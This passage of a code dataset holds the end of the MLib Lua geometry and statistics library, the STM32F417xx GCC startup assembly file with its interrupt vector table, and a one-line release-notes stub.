choices = {}\n\n\tfor index1 = 1, #polygon1, 2 do\n\t\tlocal intersections = getPolygonSegmentIntersection( polygon1[index1], polygon1[index1 + 1], cycle( polygon1, index1 + 2 ), cycle( polygon1, index1 + 3 ), polygon2 )\n\t\tif intersections then\n\t\t\tfor index2 = 1, #intersections do\n\t\t\t\tchoices[#choices + 1] = intersections[index2]\n\t\t\tend\n\t\tend\n\tend\n\n\tfor index1 = 1, #polygon2, 2 do\n\t\tlocal intersections = getPolygonSegmentIntersection( polygon2[index1], polygon2[index1 + 1], cycle( polygon2, index1 + 2 ), cycle( polygon2, index1 + 3 ), polygon1 )\n\t\tif intersections then\n\t\t\tfor index2 = 1, #intersections do\n\t\t\t\tchoices[#choices + 1] = intersections[index2]\n\t\t\tend\n\t\tend\n\tend\n\n\tchoices = removeDuplicatePairs( choices )\n\tfor i = #choices, 1, -1 do\n\t\tif type( choices[i][1] ) == 'table' then -- Remove co-linear pairs.\n\t\t\ttable.remove( choices, i )\n\t\tend\n\tend\n\n\treturn #choices > 0 and choices\nend\n\n-- Returns whether the circle intersects the polygon.\n-- x, y, radius, polygonPoints\nlocal function getPolygonCircleIntersection( x, y, radius, ... )\n\tlocal input = checkInput( ... )\n\tlocal choices = {}\n\n\tfor i = 1, #input, 2 do\n\t\tlocal Type, x1, y1, x2, y2 = getCircleSegmentIntersection( x, y, radius, input[i], input[i + 1], cycle( input, i + 2 ), cycle( input, i + 3 ) )\n\t\tif x2 then\n\t\t\tchoices[#choices + 1] = { Type, x1, y1, x2, y2 }\n\t\telseif x1 then choices[#choices + 1] = { Type, x1, y1 } end\n\tend\n\n\tlocal final = removeDuplicates4Points( choices )\n\n\treturn #final > 0 and final\nend\n\n-- Returns whether the circle is inside the polygon.\n-- x, y, radius, polygonPoints\nlocal function isCircleInsidePolygon( x, y, radius, ... )\n\tlocal input = checkInput( ... )\n\treturn checkPolygonPoint( x, y, input )\nend\n\n-- Returns whether the polygon is inside the polygon.\nlocal function isPolygonInsidePolygon( polygon1, polygon2 )\n\tlocal bool = false\n\tfor i = 1, #polygon2, 2 do\n\t\tlocal result = false\n\t\tresult = isSegmentInsidePolygon( polygon2[i], polygon2[i + 1], cycle( polygon2, i + 2 ), cycle( polygon2, i + 3 ), polygon1 )\n\t\tif result then bool = true; break end\n\tend\n\treturn bool\nend\n\n-- Checks if a segment is completely inside a polygon\nlocal function isSegmentCompletelyInsidePolygon( x1, y1, x2, y2, ... )\n\tlocal polygon = checkInput( ... )\n\tif not checkPolygonPoint( x1, y1, polygon )\n\tor not checkPolygonPoint( x2, y2, polygon )\n\tor getPolygonSegmentIntersection( x1, y1, x2, y2, polygon ) then\n\t\treturn false\n\tend\n\treturn true\nend\n\n-- Checks if a polygon is completely inside another polygon\nlocal function isPolygonCompletelyInsidePolygon( polygon1, polygon2 )\n\tfor i = 1, #polygon1, 2 do\n\t\tlocal x1, y1 = polygon1[i], polygon1[i + 1]\n\t\tlocal x2, y2 = polygon1[i + 2] or polygon1[1], polygon1[i + 3] or polygon1[2]\n\t\tif not isSegmentCompletelyInsidePolygon( x1, y1, x2, y2, polygon2 ) then\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend\n\n-------------- Circle w/ Polygons --------------\n-- Gets if a polygon is completely within a circle\n-- circleX, circleY, circleRadius, polygonPoints\nlocal function isPolygonCompletelyInsideCircle( circleX, circleY, circleRadius, ... )\n\tlocal input = checkInput( ... )\n\tlocal function isDistanceLess( px, py, x, y, circleRadius ) -- Faster, does not use math.sqrt\n\t\tlocal distanceX, distanceY = px - x, py - y\n\t\treturn distanceX * distanceX + distanceY * distanceY < circleRadius * circleRadius -- Faster. For comparing distances only.\n\tend\n\n\tfor i = 1, #input, 2 do\n\t\tif not checkCirclePoint( input[i], input[i + 1], circleX, circleY, circleRadius ) then return false end\n\tend\n\treturn true\nend\n\n-- Checks if a circle is completely within a polygon\n-- circleX, circleY, circleRadius, polygonPoints\nlocal function isCircleCompletelyInsidePolygon( circleX, circleY, circleRadius, ... )\n\tlocal input = checkInput( ... )\n\tif not checkPolygonPoint( circleX, circleY, ... ) then return false end\n\n\tlocal rad2 = circleRadius * circleRadius\n\n\tfor i = 1, #input, 2 do\n\t\tlocal x1, y1 = input[i], input[i + 1]\n\t\tlocal x2, y2 = input[i + 2] or input[1], input[i + 3] or input[2]\n\t\tif distance2( x1, y1, circleX, circleY ) <= rad2 then return false end\n\t\tif getCircleSegmentIntersection( circleX, circleY, circleRadius, x1, y1, x2, y2 ) then return false end\n\tend\n\treturn true\nend -- }}}\n\n-- Statistics ----------------------------------- {{{\n-- Gets the average of a list of points\n-- points\nlocal function getMean( ... )\n\tlocal input = checkInput( ... )\n\n\tmean = getSummation( 1, #input,\n\t\tfunction( i, t )\n\t\t\treturn input[i]\n\t\tend\n\t) / #input\n\n\treturn mean\nend\n\nlocal function getMedian( ... )\n\tlocal input = checkInput( ... )\n\n\ttable.sort( input )\n\n\tlocal median\n\tif #input % 2 == 0 then -- If you have an even number of terms, you need to get the average of the middle 2.\n\t\tmedian = getMean( input[#input / 2], input[#input / 2 + 1] )\n\telse\n\t\tmedian = input[#input / 2 + .5]\n\tend\n\n\treturn median\nend\n\n-- Gets the mode of a number.\nlocal function getMode( ... )\n\tlocal input = checkInput( ... )\n\n\ttable.sort( input )\n\tlocal sorted = {}\n\tfor i = 1, #input do\n\t\tlocal value = input[i]\n\t\tsorted[value] = sorted[value] and sorted[value] + 1 or 1\n\tend\n\n\tlocal occurrences, least = 0, {}\n\tfor i, value in pairs( sorted ) do\n\t\tif value > occurrences then\n\t\t\tleast = { i }\n\t\t\toccurrences = value\n\t\telseif value == occurrences then\n\t\t\tleast[#least + 1] = i\n\t\tend\n\tend\n\n\tif #least >= 1 then return least, occurrences\n\telse return false end\nend\n\n-- Gets the range of the numbers.\nlocal function getRange( ... )\n\tlocal input = checkInput( ... )\n\tlocal high, low = math.max( unpack( input ) ), math.min( unpack( input ) )\n\treturn high - low\nend\n\n-- Gets the variance of a set of numbers.\nlocal function getVariance( ... )\n\tlocal input = checkInput( ... )\n\tlocal mean = getMean( ... )\n\tlocal sum = 0\n\tfor i = 1, #input do\n\t\tsum = sum + ( mean - input[i] ) * ( mean - input[i] )\n\tend\n\treturn sum / #input\nend\n\n-- Gets the standard deviation of a set of numbers.\nlocal function getStandardDeviation( ... )\n\treturn math.sqrt( getVariance( ... ) )\nend\n\n-- Gets the central tendency of a set of numbers.\nlocal function getCentralTendency( ... )\n\tlocal mode, occurrences = getMode( ... )\n\treturn mode, occurrences, getMedian( ... ), getMean( ... )\nend\n\n-- Gets the variation ratio of a data set.\nlocal function getVariationRatio( ... )\n\tlocal input = checkInput( ... )\n\tlocal numbers, times = getMode( ... )\n\ttimes = times * #numbers -- Account for bimodal data\n\treturn 1 - ( times / #input )\nend\n\n-- Gets the measures of dispersion of a data set.\nlocal function getDispersion( ... )\n\treturn getVariationRatio( ... ), getRange( ... ), getStandardDeviation( ... )\nend -- }}}\n\nreturn {\n\t_VERSION = 'MLib 0.10.0',\n\t_DESCRIPTION = 'A math and shape-intersection detection library for Lua',\n\t_URL = 'https://github.com/davisdude/mlib',\n point = {\n rotate = rotatePoint,\n scale = scalePoint,\n },\n\tline = {\n\t\tgetLength = getLength,\n\t\tgetMidpoint = getMidpoint,\n\t\tgetSlope = getSlope,\n\t\tgetPerpendicularSlope = getPerpendicularSlope,\n\t\tgetYIntercept = getYIntercept,\n\t\tgetIntersection = getLineLineIntersection,\n\t\tgetClosestPoint = getClosestPoint,\n\t\tgetSegmentIntersection = getLineSegmentIntersection,\n\t\tcheckPoint = checkLinePoint,\n\n\t\t-- Aliases\n\t\tgetDistance = getLength,\n\t\tgetCircleIntersection = getCircleLineIntersection,\n\t\tgetPolygonIntersection = getPolygonLineIntersection,\n\t\tgetLineIntersection = getLineLineIntersection,\n },\n segment = {\n checkPoint = checkSegmentPoint,\n\t\tgetPerpendicularBisector = getPerpendicularBisector,\n getIntersection = getSegmentSegmentIntersection,\n\n -- Aliases\n getCircleIntersection = getCircleSegmentIntersection,\n getPolygonIntersection = getPolygonSegmentIntersection,\n getLineIntersection = getLineSegmentIntersection,\n getSegmentIntersection = getSegmentSegmentIntersection,\n isSegmentCompletelyInsideCircle = isSegmentCompletelyInsideCircle,\n isSegmentCompletelyInsidePolygon = isSegmentCompletelyInsidePolygon,\n\t},\n\tmath = {\n\t\tgetRoot = getRoot,\n\t\tisPrime = isPrime,\n\t\tround = round,\n\t\tgetSummation =\tgetSummation,\n\t\tgetPercentOfChange = getPercentOfChange,\n\t\tgetPercentage = getPercentage,\n\t\tgetQuadraticRoots = getQuadraticRoots,\n\t\tgetAngle = getAngle,\n\t},\n\tcircle = {\n\t\tgetArea = getCircleArea,\n\t\tcheckPoint = checkCirclePoint,\n\t\tisPointOnCircle = isPointOnCircle,\n\t\tgetCircumference = getCircumference,\n\t\tgetLineIntersection = getCircleLineIntersection,\n\t\tgetSegmentIntersection = getCircleSegmentIntersection,\n\t\tgetCircleIntersection = getCircleCircleIntersection,\n\t\tisCircleCompletelyInside = isCircleCompletelyInsideCircle,\n\t\tisPolygonCompletelyInside = isPolygonCompletelyInsideCircle,\n\t\tisSegmentCompletelyInside = isSegmentCompletelyInsideCircle,\n\n\t\t-- Aliases\n\t\tgetPolygonIntersection = getPolygonCircleIntersection,\n\t\tisCircleInsidePolygon = isCircleInsidePolygon,\n\t\tisCircleCompletelyInsidePolygon = isCircleCompletelyInsidePolygon,\n\t},\n\tpolygon = {\n\t\tgetSignedArea = getSignedPolygonArea,\n\t\tgetArea = getPolygonArea,\n\t\tgetTriangleHeight = getTriangleHeight,\n\t\tgetCentroid = getCentroid,\n\t\tgetLineIntersection = getPolygonLineIntersection,\n\t\tgetSegmentIntersection = getPolygonSegmentIntersection,\n\t\tcheckPoint = checkPolygonPoint,\n\t\tisSegmentInside = isSegmentInsidePolygon,\n\t\tgetPolygonIntersection = getPolygonPolygonIntersection,\n\t\tgetCircleIntersection = getPolygonCircleIntersection,\n\t\tisCircleInside = isCircleInsidePolygon,\n\t\tisPolygonInside = isPolygonInsidePolygon,\n\t\tisCircleCompletelyInside = isCircleCompletelyInsidePolygon,\n\t\tisSegmentCompletelyInside = isSegmentCompletelyInsidePolygon,\n\t\tisPolygonCompletelyInside = isPolygonCompletelyInsidePolygon,\n\n\t\t-- Aliases\n\t\tisCircleCompletelyOver = isPolygonCompletelyInsideCircle,\n\t},\n\tstatistics = {\n\t\tgetMean = getMean,\n\t\tgetMedian = getMedian,\n\t\tgetMode = getMode,\n\t\tgetRange = getRange,\n\t\tgetVariance = getVariance,\n\t\tgetStandardDeviation = getStandardDeviation,\n\t\tgetCentralTendency = getCentralTendency,\n\t\tgetVariationRatio = getVariationRatio,\n\t\tgetDispersion = getDispersion,\n\t},\n}\n"} -{"text": "/**\n ******************************************************************************\n * @file startup_stm32f417xx.s\n * @author MCD Application Team\n * @brief STM32F417xx Devices vector table for GCC based toolchains. \n * This module performs:\n * - Set the initial SP\n * - Set the initial PC == Reset_Handler,\n * - Set the vector table entries with the exceptions ISR address\n * - Branches to main in the C library (which eventually\n * calls main()).\n * After Reset the Cortex-M4 processor is in Thread mode,\n * priority is Privileged, and the Stack is set to Main.\n ******************************************************************************\n * @attention\n *\n *

    © COPYRIGHT 2017 STMicroelectronics

    \n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and/or other materials provided with the distribution.\n * 3. Neither the name of STMicroelectronics nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n ******************************************************************************\n */\n \n .syntax unified\n .cpu cortex-m4\n .fpu softvfp\n .thumb\n\n.global g_pfnVectors\n.global Default_Handler\n\n/* start address for the initialization values of the .data section. \ndefined in linker script */\n.word _sidata\n/* start address for the .data section. defined in linker script */ \n.word _sdata\n/* end address for the .data section. defined in linker script */\n.word _edata\n/* start address for the .bss section. defined in linker script */\n.word _sbss\n/* end address for the .bss section. defined in linker script */\n.word _ebss\n/* stack used for SystemInit_ExtMemCtl; always internal RAM used */\n\n/**\n * @brief This is the code that gets called when the processor first\n * starts execution following a reset event. Only the absolutely\n * necessary set is performed, after which the application\n * supplied main() routine is called. \n * @param None\n * @retval : None\n*/\n\n .section .text.Reset_Handler\n .weak Reset_Handler\n .type Reset_Handler, %function\nReset_Handler: \n ldr sp, =_estack /* set stack pointer */\n\n/* Copy the data segment initializers from flash to SRAM */ \n movs r1, #0\n b LoopCopyDataInit\n\nCopyDataInit:\n ldr r3, =_sidata\n ldr r3, [r3, r1]\n str r3, [r0, r1]\n adds r1, r1, #4\n \nLoopCopyDataInit:\n ldr r0, =_sdata\n ldr r3, =_edata\n adds r2, r0, r1\n cmp r2, r3\n bcc CopyDataInit\n ldr r2, =_sbss\n b LoopFillZerobss\n/* Zero fill the bss segment. */ \nFillZerobss:\n movs r3, #0\n str r3, [r2], #4\n \nLoopFillZerobss:\n ldr r3, = _ebss\n cmp r2, r3\n bcc FillZerobss\n\n/* Call the clock system intitialization function.*/\n bl SystemInit \n/* Call static constructors */\n bl __libc_init_array\n/* Call the application's entry point.*/\n bl main\n bx lr \n.size Reset_Handler, .-Reset_Handler\n\n/**\n * @brief This is the code that gets called when the processor receives an \n * unexpected interrupt. This simply enters an infinite loop, preserving\n * the system state for examination by a debugger.\n * @param None \n * @retval None \n*/\n .section .text.Default_Handler,\"ax\",%progbits\nDefault_Handler:\nInfinite_Loop:\n b Infinite_Loop\n .size Default_Handler, .-Default_Handler\n/******************************************************************************\n*\n* The minimal vector table for a Cortex M3. Note that the proper constructs\n* must be placed on this to ensure that it ends up at physical address\n* 0x0000.0000.\n* \n*******************************************************************************/\n .section .isr_vector,\"a\",%progbits\n .type g_pfnVectors, %object\n .size g_pfnVectors, .-g_pfnVectors\n \ng_pfnVectors:\n .word _estack\n .word Reset_Handler\n\n .word NMI_Handler\n .word HardFault_Handler\n .word MemManage_Handler\n .word BusFault_Handler\n .word UsageFault_Handler\n .word 0\n .word 0\n .word 0\n .word 0\n .word SVC_Handler\n .word DebugMon_Handler\n .word 0\n .word PendSV_Handler\n .word SysTick_Handler\n \n /* External Interrupts */\n .word WWDG_IRQHandler /* Window WatchDog */ \n .word PVD_IRQHandler /* PVD through EXTI Line detection */ \n .word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */ \n .word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */ \n .word FLASH_IRQHandler /* FLASH */ \n .word RCC_IRQHandler /* RCC */ \n .word EXTI0_IRQHandler /* EXTI Line0 */ \n .word EXTI1_IRQHandler /* EXTI Line1 */ \n .word EXTI2_IRQHandler /* EXTI Line2 */ \n .word EXTI3_IRQHandler /* EXTI Line3 */ \n .word EXTI4_IRQHandler /* EXTI Line4 */ \n .word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */ \n .word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */ \n .word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */ \n .word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */ \n .word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */ \n .word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */ \n .word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */ \n .word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */ \n .word CAN1_TX_IRQHandler /* CAN1 TX */ \n .word CAN1_RX0_IRQHandler /* CAN1 RX0 */ \n .word CAN1_RX1_IRQHandler /* CAN1 RX1 */ \n .word CAN1_SCE_IRQHandler /* CAN1 SCE */ \n .word EXTI9_5_IRQHandler /* External Line[9:5]s */ \n .word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */ \n .word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */ \n .word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */\n .word TIM1_CC_IRQHandler /* TIM1 Capture Compare */ \n .word TIM2_IRQHandler /* TIM2 */ \n .word TIM3_IRQHandler /* TIM3 */ \n .word TIM4_IRQHandler /* TIM4 */ \n .word I2C1_EV_IRQHandler /* I2C1 Event */ \n .word I2C1_ER_IRQHandler /* I2C1 Error */ \n .word I2C2_EV_IRQHandler /* I2C2 Event */ \n .word I2C2_ER_IRQHandler /* I2C2 Error */ \n .word SPI1_IRQHandler /* SPI1 */ \n .word SPI2_IRQHandler /* SPI2 */ \n .word USART1_IRQHandler /* USART1 */ \n .word USART2_IRQHandler /* USART2 */ \n .word USART3_IRQHandler /* USART3 */ \n .word EXTI15_10_IRQHandler /* External Line[15:10]s */ \n .word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */ \n .word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */ \n .word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */ \n .word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */ \n .word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */\n .word TIM8_CC_IRQHandler /* TIM8 Capture Compare */ \n .word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */ \n .word FSMC_IRQHandler /* FSMC */ \n .word SDIO_IRQHandler /* SDIO */ \n .word TIM5_IRQHandler /* TIM5 */ \n .word SPI3_IRQHandler /* SPI3 */ \n .word UART4_IRQHandler /* UART4 */ \n .word UART5_IRQHandler /* UART5 */ \n .word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */ \n .word TIM7_IRQHandler /* TIM7 */\n .word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */ \n .word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */ \n .word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */ \n .word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */ \n .word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */ \n .word ETH_IRQHandler /* Ethernet */ \n .word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */ \n .word CAN2_TX_IRQHandler /* CAN2 TX */ \n .word CAN2_RX0_IRQHandler /* CAN2 RX0 */ \n .word CAN2_RX1_IRQHandler /* CAN2 RX1 */ \n .word CAN2_SCE_IRQHandler /* CAN2 SCE */ \n .word OTG_FS_IRQHandler /* USB OTG FS */ \n .word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */ \n .word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */ \n .word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */ \n .word USART6_IRQHandler /* USART6 */ \n .word I2C3_EV_IRQHandler /* I2C3 event */ \n .word I2C3_ER_IRQHandler /* I2C3 error */ \n .word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */ \n .word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */ \n .word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */ \n .word OTG_HS_IRQHandler /* USB OTG HS */ \n .word DCMI_IRQHandler /* DCMI */ \n .word CRYP_IRQHandler /* CRYP crypto */ \n .word HASH_RNG_IRQHandler /* Hash and Rng */\n .word FPU_IRQHandler /* FPU */\n\n \n/*******************************************************************************\n*\n* Provide weak aliases for each Exception handler to the Default_Handler. \n* As they are weak aliases, any function with the same name will override \n* this definition.\n* \n*******************************************************************************/\n .weak NMI_Handler\n .thumb_set NMI_Handler,Default_Handler\n \n .weak HardFault_Handler\n .thumb_set HardFault_Handler,Default_Handler\n \n .weak MemManage_Handler\n .thumb_set MemManage_Handler,Default_Handler\n \n .weak BusFault_Handler\n .thumb_set BusFault_Handler,Default_Handler\n\n .weak UsageFault_Handler\n .thumb_set UsageFault_Handler,Default_Handler\n\n .weak SVC_Handler\n .thumb_set SVC_Handler,Default_Handler\n\n .weak DebugMon_Handler\n .thumb_set DebugMon_Handler,Default_Handler\n\n .weak PendSV_Handler\n .thumb_set PendSV_Handler,Default_Handler\n\n .weak SysTick_Handler\n .thumb_set SysTick_Handler,Default_Handler \n \n .weak WWDG_IRQHandler \n .thumb_set WWDG_IRQHandler,Default_Handler \n \n .weak PVD_IRQHandler \n .thumb_set PVD_IRQHandler,Default_Handler\n \n .weak TAMP_STAMP_IRQHandler \n .thumb_set TAMP_STAMP_IRQHandler,Default_Handler\n \n .weak RTC_WKUP_IRQHandler \n .thumb_set RTC_WKUP_IRQHandler,Default_Handler\n \n .weak FLASH_IRQHandler \n .thumb_set FLASH_IRQHandler,Default_Handler\n \n .weak RCC_IRQHandler \n .thumb_set RCC_IRQHandler,Default_Handler\n \n .weak EXTI0_IRQHandler \n .thumb_set EXTI0_IRQHandler,Default_Handler\n \n .weak EXTI1_IRQHandler \n .thumb_set EXTI1_IRQHandler,Default_Handler\n \n .weak EXTI2_IRQHandler \n .thumb_set EXTI2_IRQHandler,Default_Handler \n \n .weak EXTI3_IRQHandler \n .thumb_set EXTI3_IRQHandler,Default_Handler\n \n .weak EXTI4_IRQHandler \n .thumb_set EXTI4_IRQHandler,Default_Handler\n \n .weak DMA1_Stream0_IRQHandler \n .thumb_set DMA1_Stream0_IRQHandler,Default_Handler\n \n .weak DMA1_Stream1_IRQHandler \n .thumb_set DMA1_Stream1_IRQHandler,Default_Handler\n \n .weak DMA1_Stream2_IRQHandler \n .thumb_set DMA1_Stream2_IRQHandler,Default_Handler\n \n .weak DMA1_Stream3_IRQHandler \n .thumb_set DMA1_Stream3_IRQHandler,Default_Handler \n \n .weak DMA1_Stream4_IRQHandler \n .thumb_set DMA1_Stream4_IRQHandler,Default_Handler\n \n .weak DMA1_Stream5_IRQHandler \n .thumb_set DMA1_Stream5_IRQHandler,Default_Handler\n \n .weak DMA1_Stream6_IRQHandler \n .thumb_set DMA1_Stream6_IRQHandler,Default_Handler\n \n .weak ADC_IRQHandler \n .thumb_set ADC_IRQHandler,Default_Handler\n \n .weak CAN1_TX_IRQHandler \n .thumb_set CAN1_TX_IRQHandler,Default_Handler\n \n .weak CAN1_RX0_IRQHandler \n .thumb_set CAN1_RX0_IRQHandler,Default_Handler\n \n .weak CAN1_RX1_IRQHandler \n .thumb_set CAN1_RX1_IRQHandler,Default_Handler\n \n .weak CAN1_SCE_IRQHandler \n .thumb_set CAN1_SCE_IRQHandler,Default_Handler\n \n .weak EXTI9_5_IRQHandler \n .thumb_set EXTI9_5_IRQHandler,Default_Handler\n \n .weak TIM1_BRK_TIM9_IRQHandler \n .thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler\n \n .weak TIM1_UP_TIM10_IRQHandler \n .thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler\n\n .weak TIM1_TRG_COM_TIM11_IRQHandler \n .thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler\n \n .weak TIM1_CC_IRQHandler \n .thumb_set TIM1_CC_IRQHandler,Default_Handler\n \n .weak TIM2_IRQHandler \n .thumb_set TIM2_IRQHandler,Default_Handler\n \n .weak TIM3_IRQHandler \n .thumb_set TIM3_IRQHandler,Default_Handler\n \n .weak TIM4_IRQHandler \n .thumb_set TIM4_IRQHandler,Default_Handler\n \n .weak I2C1_EV_IRQHandler \n .thumb_set I2C1_EV_IRQHandler,Default_Handler\n \n .weak I2C1_ER_IRQHandler \n .thumb_set I2C1_ER_IRQHandler,Default_Handler\n \n .weak I2C2_EV_IRQHandler \n .thumb_set I2C2_EV_IRQHandler,Default_Handler\n \n .weak I2C2_ER_IRQHandler \n .thumb_set I2C2_ER_IRQHandler,Default_Handler\n \n .weak SPI1_IRQHandler \n .thumb_set SPI1_IRQHandler,Default_Handler\n \n .weak SPI2_IRQHandler \n .thumb_set SPI2_IRQHandler,Default_Handler\n \n .weak USART1_IRQHandler \n .thumb_set USART1_IRQHandler,Default_Handler\n \n .weak USART2_IRQHandler \n .thumb_set USART2_IRQHandler,Default_Handler\n \n .weak USART3_IRQHandler \n .thumb_set USART3_IRQHandler,Default_Handler\n \n .weak EXTI15_10_IRQHandler \n .thumb_set EXTI15_10_IRQHandler,Default_Handler\n \n .weak RTC_Alarm_IRQHandler \n .thumb_set RTC_Alarm_IRQHandler,Default_Handler\n \n .weak OTG_FS_WKUP_IRQHandler \n .thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler\n \n .weak TIM8_BRK_TIM12_IRQHandler \n .thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler\n \n .weak TIM8_UP_TIM13_IRQHandler \n .thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler\n \n .weak TIM8_TRG_COM_TIM14_IRQHandler \n .thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler\n \n .weak TIM8_CC_IRQHandler \n .thumb_set TIM8_CC_IRQHandler,Default_Handler\n \n .weak DMA1_Stream7_IRQHandler \n .thumb_set DMA1_Stream7_IRQHandler,Default_Handler\n \n .weak FSMC_IRQHandler \n .thumb_set FSMC_IRQHandler,Default_Handler\n \n .weak SDIO_IRQHandler \n .thumb_set SDIO_IRQHandler,Default_Handler\n \n .weak TIM5_IRQHandler \n .thumb_set TIM5_IRQHandler,Default_Handler\n \n .weak SPI3_IRQHandler \n .thumb_set SPI3_IRQHandler,Default_Handler\n \n .weak UART4_IRQHandler \n .thumb_set UART4_IRQHandler,Default_Handler\n \n .weak UART5_IRQHandler \n .thumb_set UART5_IRQHandler,Default_Handler\n \n .weak TIM6_DAC_IRQHandler \n .thumb_set TIM6_DAC_IRQHandler,Default_Handler\n \n .weak TIM7_IRQHandler \n .thumb_set TIM7_IRQHandler,Default_Handler\n \n .weak DMA2_Stream0_IRQHandler \n .thumb_set DMA2_Stream0_IRQHandler,Default_Handler\n \n .weak DMA2_Stream1_IRQHandler \n .thumb_set DMA2_Stream1_IRQHandler,Default_Handler\n \n .weak DMA2_Stream2_IRQHandler \n .thumb_set DMA2_Stream2_IRQHandler,Default_Handler\n \n .weak DMA2_Stream3_IRQHandler \n .thumb_set DMA2_Stream3_IRQHandler,Default_Handler\n \n .weak DMA2_Stream4_IRQHandler \n .thumb_set DMA2_Stream4_IRQHandler,Default_Handler\n \n .weak ETH_IRQHandler \n .thumb_set ETH_IRQHandler,Default_Handler\n\n .weak ETH_WKUP_IRQHandler \n .thumb_set ETH_WKUP_IRQHandler,Default_Handler\n\n .weak CAN2_TX_IRQHandler \n .thumb_set CAN2_TX_IRQHandler,Default_Handler\n \n .weak CAN2_RX0_IRQHandler \n .thumb_set CAN2_RX0_IRQHandler,Default_Handler\n \n .weak CAN2_RX1_IRQHandler \n .thumb_set CAN2_RX1_IRQHandler,Default_Handler\n \n .weak CAN2_SCE_IRQHandler \n .thumb_set CAN2_SCE_IRQHandler,Default_Handler\n \n .weak OTG_FS_IRQHandler \n .thumb_set OTG_FS_IRQHandler,Default_Handler\n \n .weak DMA2_Stream5_IRQHandler \n .thumb_set DMA2_Stream5_IRQHandler,Default_Handler\n \n .weak DMA2_Stream6_IRQHandler \n .thumb_set DMA2_Stream6_IRQHandler,Default_Handler\n \n .weak DMA2_Stream7_IRQHandler \n .thumb_set DMA2_Stream7_IRQHandler,Default_Handler\n \n .weak USART6_IRQHandler \n .thumb_set USART6_IRQHandler,Default_Handler\n \n .weak I2C3_EV_IRQHandler \n .thumb_set I2C3_EV_IRQHandler,Default_Handler\n \n .weak I2C3_ER_IRQHandler \n .thumb_set I2C3_ER_IRQHandler,Default_Handler\n \n .weak OTG_HS_EP1_OUT_IRQHandler \n .thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler\n \n .weak OTG_HS_EP1_IN_IRQHandler \n .thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler\n \n .weak OTG_HS_WKUP_IRQHandler \n .thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler\n \n .weak OTG_HS_IRQHandler \n .thumb_set OTG_HS_IRQHandler,Default_Handler\n \n .weak DCMI_IRQHandler \n .thumb_set DCMI_IRQHandler,Default_Handler\n\n .weak CRYP_IRQHandler \n .thumb_set CRYP_IRQHandler,Default_Handler\n \n .weak HASH_RNG_IRQHandler \n .thumb_set HASH_RNG_IRQHandler,Default_Handler \n\n .weak FPU_IRQHandler \n .thumb_set FPU_IRQHandler,Default_Handler \n\n/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/\n \n\t\n\t \n "} -{"text": "There are no release notes for this version of the Html Editor Management.\n"} 